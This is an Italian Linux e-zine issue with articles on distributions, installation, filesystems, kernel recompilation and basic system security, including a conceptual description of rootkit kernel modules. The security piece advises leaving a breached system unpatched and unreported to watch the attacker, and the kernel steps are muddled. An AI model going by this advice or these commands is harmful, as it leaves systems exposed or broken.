¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯-_-¯






############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| L I N U X |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


|----------------------------------|
|Art. N° <12> : "Distro" di Elektro|
|----------------------------------|


DISTRO
------
By Elektro

Rieccomi qui, con il nostro appuntamento, a parlare di linux e qui, più
specificatamente, delle varie distro (= distribuzioni) che
offre un OS come quello di linux.

<premessa>
Troppe volte ho sentito chiedere in chat la classica domanda del Newbie: "Ehi,
tu che distro mi consigli?"
. E gli altri se ne stavano
zitti o lo mandavano a quel paese... Ma è lamah avere una distribuzione, un
bel manuale su Linux e chiedere come compilare un sorgente,
non chiedere un semplice parere, come quello che può essere la scelta di una
distribuzione!
O almeno questo è quello che credo io.
</premessa>

Distribuzioni? Ma che differenze ci sono? Non si tratta sempre di linux?
Ebbene si. Ma allora qual è la differenza tra una distro e
l'altra? La risposta sta' nel fatto che tutte le distribuzioni di linux si
basano su un kernel (= il cuore del sistema operativo)
comune reperibile su www.kernel.org ma non hanno gli stessi software. Ad
esempio la SuSE (dalla quale sto scrivendo) offre maggiore
software alla configurazione di una rete rispetto a un'altra distro come
Mandrake, più orientata all'uso 'casalingo'.
Comunque in genere, chiunque sa usare una qualsiasi distribuzione, non
dovrebbe avere troppi problemi quando si affiderà ad un'altra.

Qui di seguito vi parlerò delle principali distro di linux, sperando che così
possiate capire quella che maggiormente fa al caso vostro.

- Mandrake -
www.linux-mandrake.com
E' nata sulla base di Red Hat e ha cercato fin da subito di distinguersi fin
da subito per la facilità d'uso e di configurazione, per la
quale è molto nota ed usata oggi. Col tempo è diventata sempre più autonoma
attraverso lo sviluppo di tools di configurazione propri e
propone la soluzione per rendere linux sempre più alla portata di tutti. Oggi
'gareggia' con i marchi più blasonati (vedi Red Hat o
SuSE). L'installazione è facile come l'uso dell'intera distro; consigliata per
chi vuole passare per la prima volta a linux. In
compenso, è poco adatta ad un uso professionale.

- Red Hat -
www.redhat.com
E' una delle distribuzioni storiche del panorama di linux, considerata, almeno
fino a qualche anno fa, la distribuzione più facile da
usare, anche se oggi non è più così. E' affidabile e potente ma oggi il suo
punto di forza non è più la semplicità. E' maggiormente
orientata ad un uso professionale. Attualmente, la Red Hat è sprovvista di un
utility di configurazione del sistema, anche se esso,
sarebbe utile, molto probabilmente, solo a un utente domestico, non tanto (o
almeno si spera ;-)) ad un sysadmin.

- SuSE -
www.suse.com
La distro dalla quale sto scrivendo. Serve dire altro? ;-)
A parte le cazzate, SuSE è nata in Germania nel '93. L'installazione è
semplice, come del resto l'uso. Personalmente l'ho scelta perchè
è una distro semplice da installare (ma ora che c'ho preso mano vorrei provare
la mitica Slack ;D) e da usare ma allo stesso tempo è
anche adatta ad un uso professionale. Esistono molti tools grafici per la
configurazione del sistema e a mio avviso la documentazione e
il software è ricco e abbondante. Diciamo semplicemente che non mi posso
lamentare. ;-)

- Slackware -
www.slackware.com
La Slackware (o Slack), viene definita la 'madre di tutte le distribuzioni'.
E' una delle distro 'classiche' ed è tradizionalmente una
delle più stabili e mature. E' sicuramente una distro non adatta ai Newbies ed
ha mantenuto un 'aspetto spartano' tanto caro agli
amministratori di sistema e agli smanettoni, anche se, ovviamente, d'altra
parte, non ha attirato tutti i nuovi potenziali utenti linux,
attirati dagli strumenti grafici inclusi nelle altre distro. Nonostante la
difficoltà del suo uso, rimane una distro che 'affascina'
proprio per la sua difficoltà e costrinzione a configurare 'a mano' la maggior
parte del sistema operativo, imparando così molte più
cose.

- Debian -
www.debian.org
Fedele al 100% alla filosofia Gnu, Debian si rivela come una delle migliori
distro offerte dal mercato. Il progetto Debian, portato
avanti da più di 500 volontari, è l'unico a essere completamente free e ha
come scopo quello di creare il miglior sistema operativo
esistente; a parte l'obiettivo, forse, un po' utopistico, Debian si basa sul
kernel sviluppato da Linus Torvalds, anche se in realtà si
spera di poter andare oltre e creare altri kernel specifici.
L'installazione non è tra le più semplici e il software è un po' datato, anche
se, come già detto, la Debian rimane una tra le migliori
distro disponibili.

- Corel Linux -
www.linux-corel.com
Nata per la produzione di importanti software dedicati alla grafica, è una
distro orientata al semplice utente che non ha voglia e/o
interesse ad approfondire un nuovo sistema operativo. E' perciò semplice da
installare e configurare ma non adatta ad un uso
professionale.

- Caldera OpenLinux eDesktop -
www.caldera.com
Caldera propone diverse versioni di linux, alcune specificamente realizzate
per server di rete e altre per sviluppatori. Tra queste la
più classica è la OpenLinux eDesktop, che si distingue nella semplicità ed è
progettata per PC di chi non ha particolari pretese.
L'installazione è semplice, in particolare per quanto riguarda il
riconoscimento dei componenti hardware: il tutto è gestito da tools
grafici. Inoltre, i principali tools di configurazione sono già installati e
configurati.
Questa distro non include moltissimo software, poichè la scelta è stata quella
di puntare principalmente sulla qualità del software e
non sulla quantità.

- easyLinux -
www.easylinux.com
Come già si può intuire dal nome stesso, è una distribuzione semplice da usare
e configurare nel giro di pochi minuti; sono presenti
numerosi tool di sistema. Anche qui l'uso non è adatto a un utente
professionale.

- Madeinlinux -
www.madeinlinux.it
E' una delle novità del panorama linux: la sua presentazione è avvenuta in
occasione di Smau2000. E' completamente in italiano e secondo
i suo creatori, "Madeinlinux" è "Linux in italiano". Non si tratta quindi di
una distro tradotta in italiano, ma di una vera e propria
distribuzione completamente italiana, concepita per essere usata da utenti
italiani. I destinatari di questa distro sono i nuovi utenti
ma anche gli amministratori di sistema, poichè è stata progettata per essere
usata da chiunque.

- WinLinux -
www.winlinux.net
WinLinux si differenzia dalle altre distribuzioni per avere una caratteristica
non comune: funziona 'su Windows'. Spiegando a tutti voi
meglio il concetto, essa non dev'essere installata su un hard disk o su una
partizione in cui non avete Windows 95/98/2000/NT/ME/XP che
gira, ma viene installata come una qualsiasi applicazione (programma, gioco o
quel che sia...) in formato EXE. Se non ricordo male
occupa appena 500 MB ma non ne sono sicuro. Come capirete è una distribuzione
adatta a nuovi utenti, anche se spesso si verificano
problemi nella rilevazione dell'hardware e il software e il kernel è datato.

- Le Minidistribuzioni -

Cosa sono? Non sono altro che delle distribuzioni linux che occupano pochi
megabyte, se non addirittura possono tranquillamente stare in un floppy.
Qual'è l'utilità di queste distro? Beh, in effetti molti le criticano ma a mio
parere, in molti casi, si possono rivelare molto utili! Pensate solo che
alcune di esse, avendo a disposizione poco software e pochi servizi vengono
addirittura usate su server che a loro volta vengono considerati super-sicuri.
Inoltre, anche se sono molto limitate rispetto ad altre famose distro come Red
Hat o Mandrake, hanno la gran bella caratteristica di stare tranquillamente,
come già detto in un floppy e volete dirmi che questo non vi fa venire in
mente niente? Eheh.. Devo dirvi tutto io? Pensate che bello sarebbe portarsi
sempre dietro una bella distro linux con cui si può smanettare nei momenti più
cazzuti della giornata: ad esempio a scuola, quando fate informatica e finite
il lavoro un'ora prima degli altri! ;-)
Va beh, osserviamo alcune di queste minidistribuzioni, tra le più conosciute
ed usate:

- Astaro www.astaro.com
E' una minidistribuzione rivolta alla sicurezza di rete. Contiene solo
programmi sicuri e vengono utilizzati per server protetti con un buon livello
di sicurezza.

- MuLinux mulinux.nevalabs.org
sunsite.dk/mulinux
E' una distro tutta italiana (buon motivo per provarla... ;)) e perfettamente
funzionante. Può stare tranquillamente su due floppy se non si usa la parte
grafica (X11). E' ottima per fare diagnostica e smanettare su una rete senza
dover installare nulla dal dal computer in cui si lavora. Però non è
specializzata per la rete, anche se contiene tutti i pacchetti standart di una
distro e vari programmi d'utilità.

- Tomsrtbt www.toms.net/rb
Può essere usata per far girare, anche se un vecchio 486, un router.

- Trinux www.trinux.org
E' un'altra minidistribuzione specializzata nella sicurezza e, ovviamente, è
rivolta quindi alla rete. Contiene tutti i pacchetti per testare una rete.

- Trustix www.trustix.com
Altra distro rivolta alla sicurezza di rete. Anche questa, come Astaro,
contiene solo programmi sicuri e arriva ad un buon livello di sicurezza.
Manca, però, la parte grafica.

- Altre distribuzioni -

Per chi non è ancora contento della descrizione di tutte le distro
descritte fino ad ora, vi riporto qui sotto una serie di altre distribuzioni
con relativo links.

Arm Linux www.arm.uk.linux.org/ ser
BestLinux www.bestlinux.net
ConectivaLinux www.en.conectiva.com
Coyote Linux www.vortech.net/coyote
DragonLinux www.dragonlinux.net
e-smith www.e-smith.org
Extreme Linux www.extremelinux.org
Immunix www.immunix.net
Libra www.libranet.com
Linux Antarctica www.linuxantarctica.com
Linux Ppc www.linuxppc.org
Linux Pro www.wgs.com
LinuxOne www.linuxone.net
LuteLinux www.lutelinux.com
MkLinux www.mklinux.org
Monkey Linux www.spsselib.hiedu.cz/monkey
Peanut Linux metalab.unc.edu/peanut
Redmond Linux www.redmondlinux.org
Rock Linux www.rocklinux.org
Stampede www.stampede.org
Stormix Linux www.stormix.org
TurboLinux www.turbolinux.com
Yellow Dog Linux www.yellowdoglinux.com

- Conclusioni -

Ecco ragazzi, queste sono tutte le distro che sono riuscito a scovare in giro
per la rete. Chi ne conosce altre, beh, non mi dispiace se me lo segnalasse
per mail. ;) E chiunque voglia contattarmi per domande o chiarimenti io sono
sempre disponibile alla casella di posta teo1987@libero.it.
Byez all


|-------------------------------------------|
|Art. N° <13> : "L'installazione" di Elektro|
|-------------------------------------------|


L'installazione di sistemi Linux sui vostri PC che avete in casa non è affatto
complicata. Anzi, direi proprio che potrei fare a meno di
scrivere quest'articolo sull'installazione di Linux, anche se lo scrivo per
chiarire alcuni semplici concetti con cui altrimenti
potreste avere difficoltà in futuro (come ad esempio il partizionamento del
disco).

In genere se comprate una distro in un buon negozio o la prendete da una
rivista tipo Linux & C (ma anche Linux, Linux Mania, Linux
Magazine o Linux Facile) avrete sempre a disposizione un bel po' di
documentazione e se la leggete non dovreste avere problemi con
l'installazione.

Io, con questo articolo tenterò di spiegarvi tutto al meglio delle mie
possibilità anche se l'installazione varia sempre da distro a
distro: io con la SuSE e con il suo tool grafico d'installazione Yast2 mi sono
trovato molto bene e non ho avuto difficoltà. Lo stesso
discorso vale per Mandrake che ha anche quella un ottimo tool grafico che vi
'assiste' durante l'installazione e non dovreste avere
problemi di nessun tipo. Certo che poi se vi mettete ad installare la
Slackware senza aver mai provato Linux, allora il discorso
cambia...

In questo articolo quindi non tratterò ogni tool grafico d'installazione di
ogni distro (non finirei mai... e poi io non mica provato
tutte quelle distro...) ma cos'è una partizione e perchè linux ha bisogno di
essa per girare, come effettuare una partizione e qualche
consiglio sull'installazione di questo potente OS.

Allora.. Avete Linux? Pronti per partire?

Linux, essendo un sistema operativo e non un'applicazione, ha bisogno di una
partizione interamente dedicata per girare e non di una
semplice cartella. Questo avviene con tutte le distribuzioni di Linux, e anche
con Unix ovviamente, tranne WinLinux, che è comunque una
distro con delle caratteristiche particolari adatte ai NewBie.

Perciò per installarlo avete tre scelte:
- comperarvi un hard disk e installare Linux su di esso. Scelta consigliata,
anche se purtroppo ciò può essere costoso.
- controllare se sul vostro hard disk avete due partizioni. Se sì potete pure
eliminare eventuali files residenti su una
partizione, fare una copia di backup sulla partizione di Win e installare
Linux sulla nuova partizione libera.
- Effettuare il partizionamento del disco. Scelta che spesso viene
sconsigliata ai NewBie, ma del resto se non lo fate non
imparerete mai. ;-) Comunque sappiate che in questi casi c'è sempre il
rischio di eventuali perdite di dati. Comunque in questo
testo l'argomento verrà trattato e cercherò di essere il più specifico e
semplice possibile.

Nel primo caso penso non ci sia nulla da dire, andate in un negozio e vi
comprate un bel HD nuovo, anche se un po' di fondi monetari se
ne andranno dal vostro portafoglio. ;)

Nel secondo caso, anche qui non c'è nulla da dire.

Nel terzo caso è meglio spiegare il concetto di partizionamento del disco.
Facciamo un esempio: noi abbiamo un HD da 20 GB con un'unica partizione
occupata da Win. Allora noi possiamo crearci una seconda
partizione, ad esempio da 10 GB che rimarrà vuota e pronta per l'installazione
di Linux. I rimanenti 10 GB rimangono invece a Win.

Ma come creare una partizione? Semplice con programmi come Partition Magic o
FDisk. Entrambi sono molto conosciuti, il primo è forse il
più usato e lo potete trovare sia sulla Rete che su note riviste d'informatica.

Preferirei non addrentarmi più specificatamente nell'uso di questi due
programmi, poichè in Rete esistono tutorial su di essi che
sono molto più chiari e approfonditi di come potrei fare io in questo momento.

A questo punto dovreste avere dello spazio libero sull'HD per continuare il
vostro lavoro... Già, ma quanto spazio libero occorre? In
genere anche qui c'è molta elasticità: per un linux testuale occorrono soli
150 MB anche se credo che per distro attuali possano bastare
anche 3 GB per installare il sistema e un po' di software. Io però consiglio
10 GB: installerete il sistema, KDE, GNOME, altri desktop,
molto software, i sorgenti e rimarrà ancora molto spazio per i vostri file e
applicazioni che in futuro probabilmente installerete.
Poi, però, penso che lo spazio da riservare a Linux dipende sempre e solo
dalle vostre esigenze.

Pronti per l'installazione? Si? Bene, allora potete quasi partire, prima però
è preferibile che leggiate la prossima parte, in cui si
parla dei filesystem, altrimenti durante l'installazione quando sentirete
parlare di HDA e robe simili non saprete più dove sbattere la
testa... ;-)

Elektro.


|----------------------------------------|
|Art. N° <14> : "I FileSystem" di Elektro|
|----------------------------------------|


Ma cosa sono i file system in linux? Dovete sapere che in linux quando si
parla di filesystem si indicano tutti i file che regolano
l'uso delle pereferiche. Esse sono, riportate in una tabella, le seguenti:

---------------------------------------------------------------
| Nome | Descrizione | Dos |
---------------------------------------------------------------
| /dev/fd0 | prima unità a dischetti | A: |
| /dev/fd0u1440 | prima unità a dischetti da 1440 Kbyte | A: |
| /dev/fd1 | seconda unità a dischetti | B: |
| /dev/fd1u1440 | seconda unità a dischetti da 1440 Kbyte| B: |
| /dev/hda | primo disco fisso IDE/EIDE | C: |
| /dev/hdb | secondo disco fisso (o CD-ROM) IDE/EIDE| |
| /dev/hdc | terzo disco fisso (o CD-ROM) EIDE | |
| /dev/hdd | quarto disco fisso (o CD-ROM) EIDE | |
| /dev/sda | primo disco SCSI | |
| /dev/sdb | secondo disco SCSI | |
| /dev/sdc | terzo disco SCSI | |
---------------------------------------------------------------
Tabella di Bakunin, presa dalla sua guida a linux che potete scaricare anche
dal mio sito www.x-system.cjb.net.

Inoltre, dovete sapere, che per accedere a una periferica, sia essa il driver
del CD-Rom o del floppy come l'intero hard disk, dovete
prima montarla. Ma questo verrà spiegato più avanti.

Vi starete chiedendo cosa sono quelle 'hda' o 'hdb'. Ebbene, dovete sapere,
che su linux i canali Ide vengono visti nel seguente modo:

HDA Primary Master
HDB Primary Slave
HDC Secondary Master
HDD Secondary Slave

e le partizioni vengono chiamate hda1, hda2 ecc.
Questi sono cosidetti device e risiedono tutti nella cartella /dev.

Ma cos'è la / ?
E' la 'radice', che non è altro che una directory, chiamata così poichè è la
radice del sistema. Equivale, all'incirca, alla C:\ che si
trova in sistemi Win.

All'intero di essa, troviamo le seguenti directory:

/home ---> Qui risiedono le cartelle di ogni utente che ha accesso nel
sistema. Ad esempio nel mio sistema si trova una cartella di nome
'elektro' e all'interno risiedono tutti i miei documenti, file e programmi.
/boot ---> In genere si trova l'immagine del kernel e i backup del LILO.
/usr ---> risiedono tutti i binari della distro, i man e la documentazione.
/lib ---> Librerie principali del sistema.
/etc ---> File di configurazione del sistema.
/mnt ---> Risiedono le cartelle per montare i dispositivi.
/bin/sbin ---> Binari principali.
/var ---> LogFile e altri file variabili come ad esempio la posta.
/tmp ---> File Temporanei.
/lost+found ---> Cluster persi
/proc ---> File di sistema, momentanei e non.
/root ---> La home directory dell'admin.

Esiste poi, la Swap Partition, cioè una partizione di swap che solitamente
deve essere il doppio della Ram.

Comunque in genere, quando avviene l'installazione, linux crea tre partizioni:
/ --> la radice, dove risiede tutto, o quasi. ;)
Swap Partition --> dove risiede la swap
/boot --> si trova l'immagine del kernel e i backup del LILO.
Poi, opzionalmente si può creare una quarta partizione, dove risiedono tutte
le cartelle degli utenti, la /home. Questo limita la
perdita di file e documenti personali nel caso di problemi nel sistema o di
un'eventuale formattazione.

Ora siete pronti per avviare l'installazione. ;)

Elektro.


|-------------------------------------------------------|
|Art. N° <15> : "Sicurezza nei sistemi Linux" di BbOyIcE|
|-------------------------------------------------------|

_______________________DISCLAMER______________________________
|Questo testo è stato scritto all'unico scopo informativo, |
|quindi l'autore e i membri della crew non si assumono nessuna |
|responsabilità sull'uso che ne può derivare dalla lettura di |
|questo txt. |
|______________________________________________________________|

SICUREZZA NEI SISTEMI LINUX



Autore: BbOyIcE
Mailto: bboyice@katamail.com


Bene...rieccoci in carregiata!Era già qualke mesetto ke non scrivevo più un
articolo! Oggi parlerò della sicurezza in generale nei sistemi Linux,
trattando in particolare da distribuzione RedHat, ovvero quella che io uso
particolarmente.





DISCLAIMER: TUTTO IL MATERIALE RIPORTATO IN QUESTO ARTICOLO E' DA RITENERSI
SOLO A SCOPO INFORMATIVO PER I LINUXIANI E SYSADMIN CHE INTENDANO RISANARE E
RIPORTARE IN CARREGIATA I PROPRI SISTEMI E I PROPRI SERVER.



Allora...la sicurezza in generale è sempre stato un argomento molto trattato
ma anche molto temuto da tutti, specialmente nel campo informatico.
Precisando che non esiste, a parità di riscontri effettuati da me e da altre
persone (sono statistiche ufficiali), un server o un sistema operativo che non
abbia falle di sicurezza, al giorni d'oggi si opta a cercare di mettere su un
sistema del genere.Impossibile sarebbe la parola che mi viene prima in mente,
ma difficilissimo credo sia quella più appropriata in quanto nulla è
impossibile, ma per ottenere certi risultati ci vuole un buon lavoro e ben
fatto.

Cominciamo a parlare della psicologia di un attaccamte. Un attacker può
decidere di introdursi in un sistema per puro divertimento, questo indica una
instabilità mentale, perchè rischia senza che ci siamotivo. Un altro possibile
caso potrebbe essere quello della conoscenza, del sapere, cioè quello ke ci
spinge a pensare che la persona che si è introdotta nel nostro sistema stia
sperimentando (per sfortuna su di noi) e dovrebbe essere innocuo. Questo, in
gergo viene definito hacker da molte persone anke se si sa che l'hacker è ben
altro,almeno per chi la pensa ocme me. Invece una persona che si introduce nel
nostro sistema e ruba passwd, cancella file, danneggia moduli etc...possiamo
benissimo definirlo cracker. Poi c'è la gente che buca sistemi per
rivendicarsi, per politica, per spionaggio industriale...ma questi sono altri
aspetti per lo più personale che non citerò in quanto in generale la gente
conosce gli hacker ed i cracker.

Linux, come si sa, è uno dei sistemi operativi preferiti dagli amministratori
di sistema,in quanto è uno dei sistemi più stabili e che ci offre tutti i
servizi di rete di cuinoi abbiamo bisogno.
Quindi...più grande è un sistema, più servizi offre e più possibilità ci sono
che ci siano falle nel sistema in quanto controllare tutto diviene sempre più
difficile.
Però noi ci chiederemo: come facciamo a sapere se abbiamo o no subito
un'intrusione?
Beh...ci sono molti modi per determinarlo. Per prima cosa basta notare dei
piccoli sospetti nel sistema come trovare nuovi Account o Account modificati
nel file /etc/passwd, modifiche di configurazione nel tcpd(8), nelle rules di
ipchains(8),netfilter(8). Ci sono casi in cui l'attacker lo comunica sia
pubblicamente che privatamente a noi. Oppure basti notare dei core dump, crash
o modifiche periodiche che a noi sembrano strane.
Tutti questi acorgimenti fanno si che ci si insospettisca sempre di più.
A questo punto per avere la certezza noi abbiamo un potenziale elemento a
disposizione: il LOG.
Per chi non lo sapesse i file di di LOG, spesso con estensione .log o .txt
sono file che registrano determinate azioni sul sistema. Per esempio i LOG
delle mail iviate lo troveremo il maillog. Qui saranno memorizzate tutte le
e-mail inviate, ricevute, mittente,destinatario e molto altro.
Inoltre controlliamo se siano stati tentativi ripetuti di password per su(1),
errori di lancio di demoni etc..!Dobbiamo quindi controllare i binari con i
bit SUID e SGID settati che potrebbero contenere delle istanze di shell con
bit di permesso a root, o programmi bacatiche potrebbero permettere successivi
permessi di root mediante exploit.
Ma un attacker può tranquilamente cancellare o modificare i log. Quindi noi ci
chiederemo come sapere chi è stato se i log sono cancellati!!
Allora...c'è una funzione da attribuire con il comando chattr(1) che
attribuisce al log la funzione "append-only". Questa funzione fa si che i log
non possano essere cancellati ma che vadino ad aumentare di volta in volta;
quindi l'unica persona che potrebbe modificarli è root, ma se l'attacker
assuma potere di root?potrebbe modificarli a suo piacimento! Quindi dovremmo
levare questa possibilità anke a root modificando i flag +a e +i die log.

Nella versione 2.0.x del kernel è possibile ottenere tale livello modificando
"int securelevel" nel file "~linux/kern/sched.c" mettendo il valore 1 al posto
di 0 .Nelle versioni dal 2.2.x al 2.4.x invece mediante l'uso di "libcap" e
delle "POSIX Capabilitiers" che non sto qui a spiegare.
Possibili e frequesnti bersagli sono "login", "su", "telnet", "netstat",
"inetd", "ls", "find", "top" etc...!
E' molto prudente usare una copia da un medium originale e sicuro, in modo da
poi confrontarlo a differenze di grandezza di memoria o configurazioni
diverse, nonchè confrontandolo agli "hash criptografici". Per favorire tutto
ciò possiamo ricorrere ad una utility chiamata Tripwire per valutare
differenze di hash tra un database sicuro e i binari istallati, usando una
unità protetta, magari di sola lettura sperando che non siano "redirottare" le
chiamate le chiamate di sistema da un da un "Bad LKM" ovvero un modulo kernel
maligno.

Un'altra paura è quella degli LKM. Un attacco via LKM potrebbe essere
potenzialmente dannoso per il nostro sistema, per non dire addirittura fatale.
I loadable Kernel Module, ovvero i moduli del Kernel possono essere un ottimo
strumento nelle mani di un serio attaccante che abbia privilegi di
Superutente! Immaginiamo di avere al posto del vecchio indirizzo nell'array
"sys_call_table" uno nuovo che punta a filtrare i parametri delle chiamate C o
addirittura di modificare i dati che tornano in zona utente. In questo modo il
SysAdmin non vedrà nulla e non si accorgerà di niente, almeno questo sembra
sia essere lo scopo dell'attaccante. Bhe...noi ci chiederemo come possa
accadere tutto ciò, ma c'è da dire che i privilegi di Root nei sistemi Unix
Like sono onnipotenti, specialmente in zona kernel ove non c'è nessun ostacolo
che ci impedisca di compilare degli LKM.
Comunque sia ricordiamo che basta avere una copia protetta da scrittura per
poi confrontare e trovare dismisure di grandezza o altre modifiche.
Ma... mettiamo caso che l'attaccante abbia avuto il tempo e la voglia di
patchare i sorgenti di una versione del kernel uguale alla nostra, abbia
fatto una copia per soddisfare le medesime dipendenze, ed abbia aggiunto
codice direttamente al kernel??
Noi non ci potremmo accorgere di nulla perchè non ci saranno moduli che
compaiono e scompaiono dagli Output di "lsmod" e "/proc/modules" e non ci
saranno ne anche moduli di dimensioni più o meno grande quindi inutile
confrontarli!
Bhe...in questo caso l'unica cosa che può venirci in aiuto è il dimenticato
file "System.map" ke ci riporta tutti i simboli del kernel, cioè tutti gli
indirizzi di memoria delle varie funzioni, strutture e dati.
In questo caso basterebbe averne una copia messa al sicuro e protetta da
scrittura per poi confrontarla in caso di sospetti! Tramite il comando "ksyms"
possiamo confrontare le configurazioni e in caso i due indirizzi fossero
diversi e nonc ombaciassero scatterebbe in allarme (ammesso che il file
System.map sia riferente all'ultimo kernelcompilato).
Concludendo abbiamo capito ke un baco tira l'altro e che nella rete niente è
sicuro!
Consiglio: Dopo aver ricevuto un attacco di cui siete certi, non denunciate,
ne patchate, ma attendete...perchè spesso e volentieri l'attacker torna nel
sistema in precedenza bucato. Cosi potrete capire meglio a cosa sta mirando
l'attaccante e magari riuscire a patchare meglio il sistema.

Approposito...è buona norma:

1) Fare sempre un backup per poi confrontare in caso
di sospetti.

2) Cambiare le password dopo averle ricontrollate ed optare a password
complesse composte da lettere e numeri.

3)Modificare le configurazioni dei file "/etc/host.deny" ed "/etc/host.allow"
(almeno credo siano esatti).

4) Chiudere i servizi inutili a voi tipo finger (se vi serve lasciatelo),
eliminando anche i binari.

5)Installareun firewall (ipchains)

6)Istallare Tripwire

Questi sei norme faranno si che il vostro livello di sicurezza sia leggermente
più alto, ma non vi aspettate chissà che...tutto sta alla scaltrezza del
SysAdmin e dell'attacker e anche nel saper gestire e configurare determinati
servizi.
Per adesso è tutto...vi rimando al prossimo articolo!

- Thank's to: Linux & C. and #oltrelinux -


---------------------------------------------BbOyIcE------------------------------------


|-------------------------------------------------------|
|Art. N° <16> : "Come ricompilarsi il kernel" di Dominus|
|-------------------------------------------------------|


# Come ricompilarsi il kernel # # #
# By Dominus #
# #
# Sire ulr: www.dsk-crew.cjb.net #
#########################################################

Prima di tutto ciao a tutti dal vostro amico "o nemico" Dominus
d:)........................
Ho visto che ultimamente tutti questi novellini si danno da fare con linux,e
si chiedono ma come si ricompila il kernel?? è facile o difficile??? eheee non
è difficile per chi lo sa fare come in tutte le cose :),ora veniamo a
noi,scrivo questo tutorial per farvi imparare i comandi da usare,non scrivo
tutte le opzioni che potete attivare,come sapete in ogni distribuzione linux
mettono un kernel base,se noi vogliamo aggiornarlo o personalizzarlo allora
state leggendo il giusto tutorial :) ----ora si comincia-------

Mettiamo il caso che il vostro linux monti il kernel 2.2.17 e volete
ricompilarlo magari metterci il 2.2.18 ecco le cose che dovete fare..... prima
di tutto scaricatevi la versione del kernel che volete da qui
http://www.linuxhq.com ....... ora andiamo a vedere quali comandi usare per
installarlo..... (nota: Tutto può andare a buon fine o pure no,dipende dagli
errori che potete fare,appena finita la ricompilazione i casi sono 2 |1 vi
compare un bel FAILED e allora avrete sbaglito qualcosa ed è andato tutto a
puttane |2 si carica perfettamente e allora andate a comprare una bella torta
e festeggiate eheehhe ;) )

Prima di tutto bisogna compilare i sorgenti in questo modo:

cd /usr/src (la dir dei sorgenti)
rm linux (rimuoviamo il link simbolico)
mkdir linux-2.2.18 (Adesso creiamo la dir in cui copieremo il nostro kernel)
ln -s linux-2.2.18 (creiamo il link alla dir del kernel)
tar xzvf /percorso/linux-2.2.18.tar.gz ./ (cambiate il percorso a seconda di
dove avete il kernel)
rm -rf linux-2.2.1X* (il kernel vecchio) *=Varia a seconda del vecchio
kernel
cd linux

Con questo il nostro kernel è installato adesso non ci rimane che
configurarlo...
Andate nella directory del nuovo kernel (da un terminale) e scrivete "make
xconfig"
Adesso eseguira dei comandi in automatico e si aprirà un form con
tanti bottoni che corrispondono a diverse impostazioni quindi cominciate dal
primo e man mano che finite una parte clikkate sul bottone "NEXT" in basso al
centro per andare automaticamente avanti. Per ogni opzione si presenta con N m
Y,tutto è abbastanza intuitivo da capire se dovrei scrivere tutte le
impostazioni starei 1 mese qui a scrivere e poi se state compilando il kernel
credo che un po di conoscenza già l'avete,se siete proprio a zero allora
aspettate un po prima di ricompilarlo.Ora con questo stiamo solo configurando
dei file txt ora arriva la compilazione vera e propria :),appena finito uscite
e salvate tutto nella stessa directory dove avete scritto "make xconfig",make
dep make clean make bzImage (occhio alla maiuscola) (ricordate sempre che
linux è a case-sensitive?)make modules make modules_install Appena terminate
tutti i comandi prendete il file System.map sempre nella stessa cartella e
copiatelo su /boot/ quindi sempre dalla directory lanciate "cp System.map
/boot/"
Adesso e necessario aggiornare lilo: (usate lilo e non grub) {
/etc/lilo.conf }
basta che seguite le scritte riportate nel vostro lilo.conf poi interpretarli
è facile. image=/boot/my_kernel label=my_kernel root=/dev/hda7
append=" mem=160M hdc=ide-scsi ide1=autotune ide0=autotune" vga=788
read-only Adesso aggiorniamo il mbr scrivendo "lilo" ora dobbiamo
riavviare il linux perche ha bisogno di un reboot riavviate e controllate la
fase di caricamento se vi da qualche failed rimodificate il kernel nella voce
del failed e ricompilate il tutto,se invece ci va tutto perfettamente allora
ce l'avete fatta!!!!! grandi!
Ora ho finito che ne pensate????? vi sembrava + facile o + difficile??? heheee
se avete dubbi per qualsiasi cosa nel sito abbiamo un bel forum basta scrivere
la vostra domanda e o io o un altro vi risponderà sicuramente per come abbiamo
sempre fatto,ciao a tutti alla prossima!!

POSTED BY DOMINUS DSKCREW
="WWW.DSK-CREW.CJB.NET"


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|-----------------------------|1ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| P R O G R A M M A Z I O N E |0%101ð0101|010:10&101
01*010&101µ01þ010@10101½|-----------------------------|0°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


|-------------------------------------------------------------|
|Art. N° <17> : "Assembly? No grazie, non fumo! vol. 1" di e4m|
|-------------------------------------------------------------|


[nAmE:] - Assembly..? No grazie! Non fumo! -
[aUth0r:] -Written by e4m -
[MaIL:] - Personal: Tezkatlipoka@libero.it
[W0rK:] - Crypto@sikurezza.org -
[cReW:] - Www.bfc.too.it ; On irc.azzurranet.org:6667 #bfc -
[gReaTz:] - Libro Architettura I - ; t0qIhNo ; #Crack-it ; #Asm

+--------------------------------------------------------------------------------------------------------------------------------------------------+
|Visualizzando questo testo con il carattereb 'Terminal' , '9' avrai la
possibilita' di visualizzare correttamente tutti gli esempi ed il layout! |
+--------------------------------------------------------------------------------------------------------------------------------------------------+
+---------------------+
| [sEZIONi tESTo] |
+---------------------+
| Assembly? No grazie!|
| Non fumo! |
+---------------------+
| Volume I |
+---------------------+
|*iNTRODUZIONe aSm |
|*rEGISTRi |
|*sEGMENTi e oFFSETs |
|*sTACk |
|*iSTRUZIONi aSm |
|*hELLo wORd-cOMPILa. |
|*iSTRUZIONI vARIe |
|*iNTRo aLLe prOCEDure|
+---------------------+
| Volume II |
+---------------------+
|*mACRo |
|*iNtRo aL LinUx AsM |
|*fINe |
+---------------------+


-----------[ INTRODUZIONE ASM
]-----------------------------------------------------------------------------------------------------------------------
Salve e ben ritrovati! Vorrei fare una piccola introduzione al testo. Prima di
tutto mi piace usare l'ironia per rappresentare qualsiasi tute testo o
